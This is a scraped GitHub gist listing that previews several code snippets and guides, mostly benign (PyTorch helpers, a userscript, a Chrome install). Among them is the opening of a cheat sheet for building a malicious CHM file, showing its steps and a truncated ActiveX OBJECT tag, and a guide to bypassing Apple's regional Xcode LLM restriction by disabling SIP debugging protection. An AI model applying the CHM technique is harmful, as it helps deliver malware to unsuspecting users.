Skip to content

Instantly share code, notes, and snippets.

View hazdzz's full-sized avatar

Chieh Chang hazdzz

  • National Central University
  • Taiwan
View GitHub Profile
@unixzii
unixzii / ForceEnablingXcodeLLM.md
Last active June 21, 2024 20:44
A guide to force enabling Xcode LLM feature on China-SKU Macs.

Introduction

Apple restricted the access to Xcode LLM (Predictive code completion) feature on China models of Mac. This guide provides a way to bypass that restriction. It's verified on macOS 15.0 Beta (24A5264n), but there is no guarentee that it will always work on later macOS versions.

Prerequisites

  • Xcode is installed and run at least once.
  • SIP debugging restrictions are disabled (via csrutil enable --without debug command in recovery mode).

Disclaimer

@Kyle-Ye
Kyle-Ye / XcodeLLM.md
Last active June 21, 2024 03:41
Enable XcodeLLM for ChinaSKU Mac on macOS 15 Beta 1

Warning

The following guide need to disable SIP to work.

Please confirm the risk of disabling the SIP by yourself.

Another solution which does not require disabling SIP is currently under investigation.

Step 0

Reboot into Recovery OS + Disable SIP

@megabitsenmzq
megabitsenmzq / bird.js
Last active April 5, 2023 05:44
Bring back Twitter's bird. 🖕️ ELON!!!
// ==UserScript==
// @name Bring back the bird.
// @license MIT
// @namespace https:/megabits.xyz
// @version 0.1
// @description 🖕️ ELON!!! (Modified from a script made by yakisova41. https://greasyfork.org/en/scripts/463187-return-twitter-bird)
// @author megabits
// @match https://twitter.com/*
// @match https://mobile.twitter.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=twitter.com
@muink
muink / install-ota-update-rooted-android-device-guide.md
Last active November 5, 2023 15:09
在rooted設備上使用Magisk進行OTA更新[保留root和TWRP]

在rooted設備上使用Magisk進行OTA更新[保留root和TWRP]

您已收到OTA推送更新,但由於您的Android設備已root而無法安裝它?嗯,這是rooted的Android設備的已知缺點。 在本指南中,您將學習如何使用Magisk在rooted的Android設備上安裝OTA更新。 通過使用本指南中提供的方法,您還可以在安裝OTA更新後保留rootTWRP。在進一步了解之前,讓我們快速看一下OTA更新是什麼以及它如何運作。

什麼是OTA更新?

OTA更新又名空中升級(Over-the-Air Update),是一種通過無線方式接收和安裝Android設備軟件更新的方法。

@pbamotra
pbamotra / sigsoftmax.py
Created April 10, 2019 04:08
Pytorch implementation of sigsoftmax - https://arxiv.org/pdf/1805.10829.pdf
def logsigsoftmax(logits):
"""
Computes sigsoftmax from the paper - https://arxiv.org/pdf/1805.10829.pdf
"""
max_values = torch.max(logits, 1, keepdim = True)[0]
exp_logits_sigmoided = torch.exp(logits - max_values) * torch.sigmoid(logits)
sum_exp_logits_sigmoided = exp_logits_sigmoided.sum(1, keepdim = True)
log_probs = logits - max_values + torch.log(torch.sigmoid(logits)) - torch.log(sum_exp_logits_sigmoided)
return log_probs
@stefanonardo
stefanonardo / early_stopping.py
Last active February 28, 2024 19:21
Early Stopping PyTorch
# MIT License
#
# Copyright (c) 2018 Stefano Nardo https://gist.github.com/stefanonardo
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
@mgeeky
mgeeky / Malicious-CHM-Guide.md
Created February 6, 2018 13:52
CheatSheet describing how to create malicious CHM file by hand (another approach is to use Nishang's Out-Chm scriptlet).

Procedure for generating Malicious CHM file

  • Step 0: Download and install Microsoft HTML Help Workshop and Documentation
  • Step 1: Obtain a valid CHM file and unpack it using 7-zip
  • Step 2: Find an entry-point HTML file within "docs" directory and insert the following code into it's <body> section:
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
@ibrahimlawal
ibrahimlawal / LC_CTYPE.txt
Created February 27, 2017 07:02 — forked from jampajeen/LC_CTYPE.txt
Centos warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory
vi /etc/environment
add these lines...
LANG=en_US.utf-8
LC_ALL=en_US.utf-8
@dibmartins
dibmartins / install-chrome-ubuntu
Created February 8, 2017 16:12
install-chrome-ubuntu
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
sudo apt-get update
sudo apt-get install google-chrome-stable